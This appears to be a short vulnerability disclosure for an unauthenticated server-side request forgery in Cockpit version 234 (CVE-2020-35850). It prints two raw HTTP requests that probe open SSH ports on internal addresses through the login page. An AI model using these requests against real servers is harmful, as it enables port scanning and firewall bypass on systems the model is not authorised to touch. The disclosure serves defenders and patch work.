Cokpit version 234 - Server Side Request Forgery (CVE-2020-35850)
Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)
# Description
Cockpit version: 234
OS: Ubuntu 18.04
Page: login
An unauthenticated user can detect open ssh port or another open ports on server that services Cockpit last version. In addition, this vulnerability that allows a user sends request to internal hosts for detecting open ports so that firewall configuration can be bypassed or the server can be used like gateway by attacker user for scanning process. For example, if system admin creates iptables rule to drop all packets that come to 22 port or another port, user can detect whether port 22 is open or not.
Assuming that there is a rule which the port 22 is open for 127.0.0.1 (loopback interface) only .
First HTTP Request:
GET /cockpit+=192.168.1.27:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deletedSecond HTTP Request:
GET /cockpit+=127.0.0.1:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deletedThe server-side request forgery vulnerability can be detected by comparing two requests above. First HTTP request does not return a response due to iptables rule.

# Exploitation
Last updated
Was this helpful?